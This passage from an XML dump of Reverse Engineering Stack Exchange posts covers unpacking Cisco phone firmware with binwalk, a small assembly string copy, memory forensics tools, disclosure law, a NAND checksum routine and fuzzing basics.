Schalnat, Group 42, Inc.&quot;&#xA;2914752       0x2C79C0        CRC32 polynomial table, big endian&#xA;2918848       0x2C89C0        CRC32 polynomial table, little endian&#xA;2925631       0x2CA43F        Copyright string: &quot;Copyright 1995-2005 Mark Adler &quot;&#xA;2943375       0x2CE98F        Neighborly text, &quot;neighbor 1 malloc failed MsgQue has not been created : %m &quot;&#xA;2943423       0x2CE9BF        Neighborly text, &quot;neighbor: inetdMsgQue has not been created : %m r: msgsnd failed : %m &quot;&#xA;2943479       0x2CE9F7        Neighborly text, &quot;neighbor: msgsnd failed : %m pQue open failed : %m &quot;&#xA;2943527       0x2CEA27        Neighborly text, &quot;neighbor: cdpRspQue open failed : %m ailed &quot;&#xA;2943571       0x2CEA53        Neighborly text, &quot;neighbor 2 malloc failed s response : %m &quot;&#xA;2943603       0x2CEA73        Neighborly text, &quot;neighbor: error receiving status response : %m ll info&quot;&#xA;3016112       0x2E05B0        CRC32 polynomial table, big endian&#xA;3017151       0x2E09BF        Copyright string: &quot;Copyright 1995-1998 Jean-loup Gailly &quot;&#xA;3020507       0x2E16DB        Copyright string: &quot;Copyright 1995-1998 Mark Adler &quot;&#xA;3979099       0x3CB75B        Unix path: /midp/io/j2me/ssl&#xA;4078794       0x3E3CCA        Neighborly text, &quot;NeighborIDrIPv6&quot;&#xA;4078822       0x3E3CE6        Neighborly text, &quot;NeighborIPrPort&quot;&#xA;4078850       0x3E3D02        Neighborly text, &quot;NeighborIPv6orID&quot;&#xA;4078878       0x3E3D1E        Neighborly text, &quot;NeighborPortorIP&quot;&#xA;4078907       0x3E3D3B        Neighborly text, &quot;NeighborIDrIPv6&quot;&#xA;4078935       0x3E3D57        Neighborly text, &quot;NeighborIPrPort&quot;&#xA;4078963       0x3E3D73        Neighborly text, &quot;NeighborIPv6RT_INFO_MAX_INDEX&quot;&#xA;4078991       0x3E3D8F        Neighborly text, &quot;NeighborPortNTEGER&quot;&#xA;4081214       0x3E463E        Neighborly text, &quot;NeighborInfoml&quot;&#xA;4081584       0x3E47B0        Neighborly text, &quot;NeighborIPv4AddressghborPortID&quot;&#xA;4081604       0x3E47C4        Neighborly text, &quot;NeighborIPv6Addresstatus&quot;&#xA;4081624       0x3E47D8        Neighborly text, &quot;NeighborDeviceIDs&quot;&#xA;4081644       0x3E47EC        Neighborly text, &quot;NeighborPortID&quot;&#xA;4217515       0x405AAB        LZMA compressed data, properties: 0xBF, dictionary size: 33554432 bytes, uncompressed size: 25430 bytes&#xA;4238176       0x40AB60        mcrypt 2.2 encrypted data, algorithm: xTEA, mode: CBC, keymode: SHA-1 hash&#xA;4244703       0x40C4DF        LZMA compressed data, properties: 0x5C, dictionary size: 33554432 bytes, uncompressed size: 306730334 bytes&#xA;4254959       0x40ECEF        LZMA compressed data, properties: 0x6C, dictionary size: 16777216 bytes, uncompressed size: 22638 bytes&#xA;4261863       0x4107E7        LZMA compressed data, properties: 0x64, dictionary size: 33554432 bytes, uncompressed size: 19060 bytes&#xA;4337995       0x42314B        LZMA compressed data, properties: 0xC8, dictionary size: 33554432 bytes, uncompressed size: 55919 bytes&#xA;4358895       0x4282EF        LZMA compressed data, properties: 0x6C, dictionary size: 16777216 bytes, uncompressed size: 16244 bytes&#xA;4366171       0x429F5B        LZMA compressed data, properties: 0xD8, dictionary size: 16777216 bytes, uncompressed size: 61006 bytes&#xA;4821851       0x49935B        LZMA compressed data, properties: 0xD8, dictionary size: 16777216 bytes, uncompressed size: 60970 bytes&#xA;4822767       0x4996EF        LZMA compressed data, properties: 0x6C, dictionary size: 16777216 bytes, uncompressed size: 34346 bytes&#xA;4828939       0x49AF0B        LZMA compressed data, properties: 0x88, dictionary size: 16777216 bytes, uncompressed size: 25399 bytes&#xA;4840779       0x49DD4B        LZMA compressed data, properties: 0xC8, dictionary size: 16777216 bytes, uncompressed size: 30250 bytes&#xA;4848731       0x49FC5B        LZMA compressed data, properties: 0xD8, dictionary size: 33554432 bytes, uncompressed size: 18549 bytes&#xA;4859631       0x4A26EF        LZMA compressed data, properties: 0x6C, dictionary size: 16777216 bytes, uncompressed size: 36705 bytes&#xA;4869955       0x4A4F43        LZMA compressed data, properties: 0xC0, dictionary size: 16777216 bytes, uncompressed size: 12353 bytes&#xA;5340435       0x517D13        LZMA compressed data, properties: 0x90, dictionary size: 16777216 bytes, uncompressed size: 34420 bytes&#xA;5345091       0x518F43        LZMA compressed data, properties: 0xC0, dictionary size: 16777216 bytes, uncompressed size: 675291968 bytes&#xA;5363439       0x51D6EF        LZMA compressed data, properties: 0x6C, dictionary size: 16777216 bytes, uncompressed size: 828140908 bytes&#xA;5386331       0x52305B        LZMA compressed data, properties: 0xD8, dictionary size: 16777216 bytes, uncompressed size: 139399747 bytes&#xA;5391071       0x5242DF        LZMA compressed data, properties: 0x5C, dictionary size: 16777216 bytes, uncompressed size: 28269 bytes&#xA;5391327       0x5243DF        LZMA compressed data, properties: 0x5C, dictionary size: 16777216 bytes, uncompressed size: 28781 bytes&#xA;5398339       0x525F43        LZMA compressed data, properties: 0xC0, dictionary size: 16777216 bytes, uncompressed size: 895370334 bytes&#xA;5418207       0x52ACDF        LZMA compressed data, properties: 0x5C, dictionary size: 16777216 bytes, uncompressed size: 31831 bytes&#xA;5423415       0x52C137        LZMA compressed data, properties: 0xB4, dictionary size: 16777216 bytes, uncompressed size: 38193 bytes&#xA;5539594       0x54870A        mcrypt 2.2 encrypted data, algorithm: xTEA, mode: CBC, keymode: 8bit&#xA;5692739       0x56DD43        LZMA compressed data, properties: 0xC0, dictionary size: 16777216 bytes, uncompressed size: 63810 bytes&#xA;5695543       0x56E837        LZMA compressed data, properties: 0xB4, dictionary size: 16777216 bytes, uncompressed size: 289607235 bytes&#xA;5709039       0x571CEF        LZMA compressed data, properties: 0x6C, dictionary size: 16777216 bytes, uncompressed size: 62797 bytes&#xA;5716455       0x5739E7        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 2126 bytes&#xA;5719867       0x57473B        LZMA compressed data, properties: 0xB8, dictionary size: 16777216 bytes, uncompressed size: 53619 bytes&#xA;5724903       0x575AE7        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 62009 bytes&#xA;5730635       0x57714B        LZMA compressed data, properties: 0xC8, dictionary size: 16777216 bytes, uncompressed size: 25399 bytes&#xA;5744607       0x57A7DF        LZMA compressed data, properties: 0x5C, dictionary size: 16777216 bytes, uncompressed size: 40759 bytes&#xA;5956931       0x5AE543        LZMA compressed data, properties: 0xC0, dictionary size: 16777216 bytes, uncompressed size: 28268 bytes&#xA;5964859       0x5B043B        LZMA compressed data, properties: 0xB8, dictionary size: 16777216 bytes, uncompressed size: 35937 bytes&#xA;5976887       0x5B3337        LZMA compressed data, properties: 0xB4, dictionary size: 16777216 bytes, uncompressed size: 40259 bytes&#xA;5977063       0x5B33E7        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 40515 bytes&#xA;5977319       0x5B34E7        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 41027 bytes&#xA;5987083       0x5B5B0B        LZMA compressed data, properties: 0x88, dictionary size: 33554432 bytes, uncompressed size: 829402188 bytes&#xA;6020875       0x5BDF0B        LZMA compressed data, properties: 0x88, dictionary size: 16777216 bytes, uncompressed size: 52326 bytes&#xA;6208487       0x5EBBE7        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 54315 bytes&#xA;6233327       0x5F1CEF        LZMA compressed data, properties: 0x6C, dictionary size: 16777216 bytes, uncompressed size: 13899 bytes&#xA;6250043       0x5F5E3B        LZMA compressed data, properties: 0xB8, dictionary size: 16777216 bytes, uncompressed size: 14172 bytes&#xA;6257939       0x5F7D13        LZMA compressed data, properties: 0x90, dictionary size: 16777216 bytes, uncompressed size: 51251 bytes&#xA;6465263       0x62A6EF        LZMA compressed data, properties: 0x6C, dictionary size: 16777216 bytes, uncompressed size: 31831 bytes&#xA;6481135       0x62E4EF        LZMA compressed data, properties: 0x6C, dictionary size: 16777216 bytes, uncompressed size: 30250 bytes&#xA;6481419       0x62E60B        LZMA compressed data, properties: 0x88, dictionary size: 16777216 bytes, uncompressed size: 31018 bytes&#xA;6482655       0x62EADF        LZMA compressed data, properties: 0x5C, dictionary size: 16777216 bytes, uncompressed size: 34346 bytes&#xA;6487527       0x62FDE7        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 54862 bytes&#xA;6495251       0x631C13        LZMA compressed data, properties: 0x90, dictionary size: 33554432 bytes, uncompressed size: 61006 bytes&#xA;6496311       0x632037        LZMA compressed data, properties: 0xB4, dictionary size: 16777216 bytes, uncompressed size: 8783 bytes&#xA;6649431       0x657657        LZMA compressed data, properties: 0xC8, dictionary size: 33554432 bytes, uncompressed size: 167772160 bytes&#xA;6649887       0x65781F        LZMA compressed data, properties: 0xD0, dictionary size: 33554432 bytes, uncompressed size: 167772160 bytes&#xA;6650271       0x65799F        LZMA compressed data, properties: 0xB4, dictionary size: 33554432 bytes, uncompressed size: 100663296 bytes&#xA;6712044       0x666AEC        Base64 standard index table&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;root@kali:/var/tmp/_1.cnu.extracted# ls&#xA;211125       4107E7.lzma  518F43.lzma  5739E7.lzma  5EBBE7.lzma  657657.lzma&#xA;211125.lzma  42314B.lzma  51D6EF       57473B.lzma  5F1CEF.lzma  65781F&#xA;26C664.html  4282EF.lzma  51D6EF.lzma  575AE7.lzma  5F5E3B.lzma  65781F.lzma&#xA;28CCC8.xml   429F5B.lzma  52305B.lzma  57714B.lzma  5F7D13.lzma  65799F&#xA;2B0170.xml   49935B.lzma  5242DF.lzma  57A7DF.lzma  62A6EF.lzma  65799F.lzma&#xA;2B02D0.xml   4996EF.lzma  5243DF.lzma  5AE543.lzma  62E4EF.lzma  D1E7D&#xA;2B7E28.xml   49AF0B.lzma  525F43.lzma  5B043B.lzma  62E60B.lzma  D1E7D.lzma&#xA;2B7EF0.xml   49DD4B.lzma  52ACDF.lzma  5B3337.lzma  62EADF.lzma&#xA;2B8684.xml   49FC5B.lzma  52C137.lzma  5B33E7.lzma  62FDE7.lzma&#xA;405AAB.lzma  4A26EF.lzma  56DD43.lzma  5B34E7.lzma  631C13.lzma&#xA;40C4DF.lzma  4A4F43.lzma  56E837.lzma  5B5B0B.lzma  632037.lzma&#xA;40ECEF.lzma  517D13.lzma  571CEF.lzma  5BDF0B.lzma  657657&#xA;root@kali:/var/tmp/_1.cnu.extracted# &#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to know how to unpack LZMA files or cnu files&lt;/p&gt;&#xA;" OwnerUserId="10133" LastEditorUserId="53" LastEditDate="2017-04-28T12:52:48.683" LastActivityDate="2017-04-28T12:52:48.683" Title="cisco ip phone 7811 cnu unpack" Tags="|disassembly|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6736" PostTypeId="2" ParentId="6678" CreationDate="2014-11-29T09:00:51.933" Score="0" Body="&lt;p&gt;I have been looking at this also for a while now and came to the exact same conclusion as you.  The only method I see viable is to decompile what you have and embed into your new process.  Maybe we can discuss this further.&lt;/p&gt;&#xA;" OwnerUserId="4499" LastActivityDate="2014-11-29T09:00:51.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6738" PostTypeId="1" CreationDate="2014-11-29T12:00:45.580" Score="-2" ViewCount="150" Body="&lt;p&gt;I have some value stored at a memory location.&#xA;I have 10 bytes of space and have following to do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;push registers&lt;/li&gt;&#xA;&lt;li&gt;copy a string constant &quot;abcedfghijkl&quot; to that memory location&lt;/li&gt;&#xA;&lt;li&gt;restore registers&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="10034" LastActivityDate="2014-11-29T13:08:19.387" Title="How can I do this in less than 10 bytes of space?" Tags="|ida|disassembly|assembly|ollydbg|patch-reversing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6739" PostTypeId="2" ParentId="6738" CreationDate="2014-11-29T12:48:23.997" Score="1" Body="&lt;p&gt;YES! so possible... why wouldn't it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have resources to make sure this is 10 or less bytes, but this SHOULD be about 10 give or take 2 or 3 bytes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;use16&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;org 0x100&#xA;start:&#xA;    pusha&#xA;    mov di, memory_location&#xA;    mov al, 'a'&#xA;    mov cl, 11&#xA;    stosb&#xA;    inc al&#xA;    loop $-2&#xA;    popa&#xA;    ret&#xA;&#xA;memory_location EQU 0x0100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to COPY a string then defenently less than 10 bytes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    use16&#xA;org 0x100&#xA;start:&#xA;    pusha&#xA;    mov di, memory_location&#xA;    mov si, string2copy&#xA;    mov cl, 12   ; byte count to copy&#xA;    rep movsb    ; move data byte by byte from SI location to DI location&#xA;    popa&#xA;    ret&#xA;&#xA;memory_location = 0x0200&#xA;&#xA;;&#xA;; STRING CANT COUNT AS DATA SINCE  &quot;abcedfghijkl&quot; IS 12 BYTES ON IT'S OWN!&#xA;;&#xA;string2copy: &#xA;    db &quot;abcedfghijkl&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You defined nothing else, however, I don't know how this equates to reverse engineering at all though...&lt;/p&gt;&#xA;" OwnerUserId="10135" LastEditorUserId="10135" LastEditDate="2014-11-29T13:08:19.387" LastActivityDate="2014-11-29T13:08:19.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6741" PostTypeId="1" AcceptedAnswerId="6747" CreationDate="2014-11-29T15:52:10.613" Score="2" ViewCount="3602" Body="&lt;p&gt;I have seen the Moonsols Memory Toolkit for Windows (Community Edition). It however does not support x64 memory dumping. Only its professional version can do that. Are there any free alternatives out there that do the same ? To narrow down what I am looking for I would be interested in features like -:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Convert a memory dump from a x64 Architecture.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Convert or decompress Windows 7 hibernation files.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Convert a Windows 7 memory dump.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have seen a lot of free tools for x86, but for x64 its a whole different ball game.&lt;/p&gt;&#xA;" OwnerUserId="8362" LastEditorUserId="8362" LastEditDate="2014-11-29T16:09:06.533" LastActivityDate="2014-11-30T12:27:49.883" Title="tools - Free Windows Memory Toolkit for x64" Tags="|memory|digital-forensics|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6742" PostTypeId="1" AcceptedAnswerId="6746" CreationDate="2014-11-29T17:29:34.277" Score="1" ViewCount="233" Body="&lt;p&gt;About an year back I had seen a PDF of some research work that had been shared at /r/reverseengineering that tried to reason and understand the thought process involved in Reverse Engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I did not save the link and I'm having trouble finding it on reddit. I was wondering if anyone had a link of the same handy.&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2014-11-30T12:17:16.590" Title="Reverse Engineering Thought Process" Tags="|process|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6743" PostTypeId="2" ParentId="6741" CreationDate="2014-11-29T21:14:17.357" Score="1" Body="&lt;p&gt;Have you tried Moonsols Dumpit?  It is a free utility that can grab the physical memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.moonsols.com/2011/07/18/moonsols-dumpit-goes-mainstream/&quot; rel=&quot;nofollow&quot;&gt;http://www.moonsols.com/2011/07/18/moonsols-dumpit-goes-mainstream/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rekall might be able to help with the acquisition piece as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.rekall-forensic.com/index.html&quot; rel=&quot;nofollow&quot;&gt;http://www.rekall-forensic.com/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10038" LastActivityDate="2014-11-29T21:14:17.357" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="6744" PostTypeId="2" ParentId="6741" CreationDate="2014-11-29T21:21:01.090" Score="0" Body="&lt;p&gt;Mandiant Redline might be helpful as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mandiant.com/resources/download/redline&quot; rel=&quot;nofollow&quot;&gt;https://www.mandiant.com/resources/download/redline&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10038" LastActivityDate="2014-11-29T21:21:01.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6745" PostTypeId="2" ParentId="6735" CreationDate="2014-11-29T23:38:47.443" Score="2" Body="&lt;p&gt;Binwalk has already unpacked the LZMA files for you. For example, the LZMA compressed file &lt;code&gt;D1E7D.lzma&lt;/code&gt; was decompressed and the decompressed data was saved to the file &lt;code&gt;D1E7D&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the binwalk output, this looks very much like an RTOS based firmware. In particular, check the first two decompressed LZMA files for executable code (binwalk's &lt;code&gt;-A&lt;/code&gt; option will do a quick check for common opcodes from various architectures).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note the base64 and CRC32 tables found in the main firmware image, which suggests that there is probably uncompressed executable code in the main firmware image as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of those LZMA files toward the end of the firmware image are probably compressed HTML / JS / CSS / image files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's hard to know without looking at the firmware, but it appears that this firmware is already &quot;unpacked&quot;. But you need to find the executable code, figure out the code's expected load address, and start disassembling and reversing the code.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2014-11-29T23:38:47.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6746" PostTypeId="2" ParentId="6742" CreationDate="2014-11-30T12:17:16.590" Score="3" Body="&lt;p&gt;You are probably refering to this document: &lt;a href=&quot;http://www.dtic.mil/cgi-bin/GetTRDoc?AD=ADA557042&quot; rel=&quot;nofollow&quot;&gt;http://www.dtic.mil/cgi-bin/GetTRDoc?AD=ADA557042&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3721" LastActivityDate="2014-11-30T12:17:16.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6747" PostTypeId="2" ParentId="6741" CreationDate="2014-11-30T12:27:49.883" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://code.google.com/p/volatility/&quot; rel=&quot;nofollow&quot;&gt;Volatility&lt;/a&gt; supports x64 Windows 7 hibernation files as well as x64 images.&lt;/p&gt;&#xA;" OwnerUserId="3721" LastActivityDate="2014-11-30T12:27:49.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6748" PostTypeId="1" AcceptedAnswerId="6751" CreationDate="2014-11-30T12:33:05.003" Score="3" ViewCount="536" Body="&lt;p&gt;Do I have to contact the producer of a software before publicly posting (Twitter, Blog, ...) about security issues of it? Does it matter how this knowledge was acquired (reverse engineering, sniffing network traffic, trial &amp;amp; error, ...)? I'm living in Europe (if it matters).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about posting exploits? Is there any law prohibiting an exploit with source code, so a security issue could be reproduced by anyone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm talking about general-purpose software like Smartphone apps or desktop applications.&lt;/p&gt;&#xA;" OwnerUserId="10109" LastActivityDate="2014-11-30T19:50:38.160" Title="Is it legal to publicly post about security issues without informing the provider first (in Europe)?" Tags="|law|" AnswerCount="2" CommentCount="3" ClosedDate="2014-12-02T07:23:31.747" ContentLicense="CC BY-SA 3.0" />
  <row Id="6749" PostTypeId="2" ParentId="6748" CreationDate="2014-11-30T13:28:19.840" Score="6" Body="&lt;p&gt;Short answer: don't ask us, ask a lawyer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer: Noone, not even a lawyer, will be able to give you any sound advice without knowing the specifics of your situation, which include the country you live in. There's no European law that supersedes the law of each state, like Federal Law in the U.S. does, each country is responsible for turning EU directives into country law itself. Details may vary greatly between EU states.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you provided very specific details, we probably couldn't help you, because we're technicians, not lawyers. We can probably help you with producing an exploit; we can't tell you if and where it's legal to publish it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And even if some of us were lawyers: Imagine we tell you it's ok. You publish your exploit. You get arrested and sued because we were wrong. &quot;I asked some forum guys who seemed highly knowledgable about this&quot; won't help your case &lt;em&gt;at all&lt;/em&gt;. If you get a written statement from a lawyer telling you what you're going to do is ok, and he's wrong, your chances are good you'll be able to make him (well, his insurance company) pay for your damages. You won't get anything from us.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-11-30T13:28:19.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6750" PostTypeId="1" AcceptedAnswerId="6754" CreationDate="2014-11-30T16:49:05.543" Score="2" ViewCount="368" Body="&lt;p&gt;I have been reading and reading about NAND and NOR flash.I am wantina (Usualy 512 bytes) to access some stored information in a nand.bin file but cannot for the life of me figure out what I need to do in order to decrypt it. I am aware it takes a key which I have, just dont know how to use it. Here is what I do know. Any advice is greatly appreciatted, I am getting overwhelmed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The NAND uses a proprietary format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The format is used to store device specific data (Config blocks, etc) and system data (Bootloaders, Kernel etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files are stored using a format which is designed to be transctional (Each change can be reverted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nand uses a series of pages to combine into blocks, which are snippets of data (Usually 512 bytes) which each have an EDC tag at the end (an extra 16 bytes) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These pages are each part of a specific block (which can be ID'd with the EDC) which is usually made with 16 pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All (non-eMMC) NANDs have specific Spare-/Metadata for each page inside the NAND. Sometimes it will not be dumped with the NAND, so it has to either be added back or redumped. The Metadata contains the pages block number, a series of flags and a checksum. Those differ slightly, depending on the blocksize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ECC/EDC checksum uses a custom algorithm - here is C code for that (Will be converted to vb.net)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int checkEcc(u8* datc, u8* spare)&#xA;{&#xA;unsigned int i=0, val=0;&#xA;unsigned char edc[4] = {0,0,0,0};&#xA;unsigned long * data = (unsigned long*) datc;&#xA;&#xA;unsigned int v=0;&#xA; // printf(&quot;original ECC  : %02x %02x %02x %02x &quot;, (spare[0xC] &amp;amp; 0xC0),       spare[0xD],spare[0xE],spare[0xF]);&#xA;&#xA;for (i = 0; i &amp;lt; 0x1066; i++)&#xA;{&#xA;if (!(i &amp;amp; 31))&#xA;{&#xA;    if (i == 0x1000)&#xA;    data = (unsigned long*)spare;&#xA;    v = ~*data++; // byte order: LE &#xA;}&#xA;   val ^= v &amp;amp; 1;&#xA;   v&amp;gt;&amp;gt;=1;&#xA;   if (val &amp;amp; 1)&#xA;       val ^= 0x6954559;&#xA;val &amp;gt;&amp;gt;= 1;&#xA;}&#xA;&#xA;val = ~val;&#xA;&#xA;edc[0] = (val &amp;lt;&amp;lt; 6) &amp;amp; 0xC0;&#xA;edc[1] = (val &amp;gt;&amp;gt; 2) &amp;amp; 0xFF;&#xA;edc[2] = (val &amp;gt;&amp;gt; 10) &amp;amp; 0xFF;&#xA;edc[3] = (val &amp;gt;&amp;gt; 18) &amp;amp; 0xFF;&#xA;&#xA;if(((spare[0xC] &amp;amp; 0xC0) != edc[0])||(spare[0xD] != edc[1])||(spare[0xE] != edc[2])||(spare[0xF] != edc[3]))&#xA;return ECC_FAILED;&#xA;&#xA;return ECC_CORRECT;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At 0x2 in the NAND the version of the flash is stored (2bytes). Further on at 0x8 the offset of the CB is stored, followed by the CF1 offset (4bytes each).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At 0x78 the length of the SMC and offset to the SMC are stored (4bytes each).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I was told previously but am still learning and couldnt understand:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking the key against the nand is quite simple as there are parts of the nand that is encrypted using your key, as key, there are however different algorithms for each part… most of them use RC4 combined with HMAC-SHA1 (the key for the RC4 cipher is a HMAC-SHA1 hash of your cpukey)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to get the data from the nand you have to read each of the 32 pages one by one discarding the 0x10 bytes of spare that follow the 0x200 bytes of userdata…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone, anyone make more sense of this for me? Please?&lt;/p&gt;&#xA;" OwnerUserId="10143" LastActivityDate="2014-12-02T00:36:57.523" Title="How to retrieve stored information, NAND filesystem with VB.Net" Tags="|encryption|decryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6751" PostTypeId="2" ParentId="6748" CreationDate="2014-11-30T19:50:38.160" Score="0" Body="&lt;p&gt;The best and ethical thing to do in this situation would be to contact the producer of the software/system and provide them with examples that verify the security problem.  If you want to verify information was received, make contact via phone with recipient and send it via a secure verifiable method ( including  overnight express etc....) .  If it is indeed an  exploit this will allow vendor time to hopefully patch their system and get ahead of any attacks that would benefit from the release of said information.  If vendor is ethical and appreciative , they in turn should give you credit for the reporting the security error once they have mitigated the problem (assuming you want to be named).   &lt;/p&gt;&#xA;" OwnerUserId="10144" LastActivityDate="2014-11-30T19:50:38.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6754" PostTypeId="2" ParentId="6750" CreationDate="2014-12-02T00:36:57.523" Score="1" Body="&lt;p&gt;First, some NAND flash basics: NAND flashes are divided in blocks, and subdivided in pages. The write of pages is atomic (you can program pages partially, up to 4 times for a single page, but it's rarely used), and erase is always done on a whole block. Moreover, due to the lack of reliability, pages come with spare area to put some error correction codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's try to work with what you've got:&#xA;A source code with a loop going from 0 to 0x1066, but using data only when (!(i &amp;amp; 31)), with a condition on (i == 0x1000) to switch from data to spare, and &lt;code&gt;data&lt;/code&gt; is an &lt;code&gt;unsigned long *&lt;/code&gt;, usually a pointer to 4 bytes long integers. So, those are some 512 bytes pages, with spares at least 12 bytes large. With byes 12, 13, 14 and 15 used for EDC, it's 16 spare bytes, which is common for small-pages NANDs. I also expect 32 pages per block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, your EDC is just an EDC, not an ECC, maybe that worked on old NAND technologies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that's all we can get. We can confirm what you already know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You ask about a NAND version, CB SMC and CF1 (whatever those acronyms mean for you). With no data, we can't show you any pattern allowing to tell if your data enclose the spares or not, if your data seem inverted, and so on. What do you expect from us ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, the easiest way would be to have the filesystem source code, but maybe you don't want to publish potential flaws in your security implementation...&lt;/p&gt;&#xA;" OwnerUserId="10118" LastActivityDate="2014-12-02T00:36:57.523" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6755" PostTypeId="1" CreationDate="2014-12-02T16:20:04.763" Score="2" ViewCount="419" Body="&lt;p&gt;I have been doing a lot of reading into how to find vulnerabilities in closed source applications. And the term that comes up a lot is &quot;fuzzing&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to get started with fuzzing and I looking for any tips and hints on where and how to start. What tools to use, etc .&lt;/p&gt;&#xA;" OwnerUserId="8362" LastEditorUserId="2035" LastEditDate="2014-12-03T07:51:58.763" LastActivityDate="2021-09-14T21:56:52.257" Title="Getting started with dynamic reverse engineering" Tags="|fuzzing|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6758" PostTypeId="2" ParentId="6755" CreationDate="2014-12-03T07:51:16.463" Score="1" Body="&lt;p&gt;Just find points of interest and reverse the flow back to find if there is something in the environment you can manipulate to your will alter the poi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg, if you find a &lt;code&gt;memcpy(a, b, c);&lt;/code&gt; check where b and c are coming from, are they from user generated input or system generated input, maybe they are statics.&#xA;If it they are generated from user input you can manipulate the flow of the program as you can copy arbitrary data into the memory. This &lt;strong&gt;might&lt;/strong&gt; allow you to alter the stack and thus alter the flow of the program. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leading into a security vulnerability.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2014-12-03T07:51:16.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
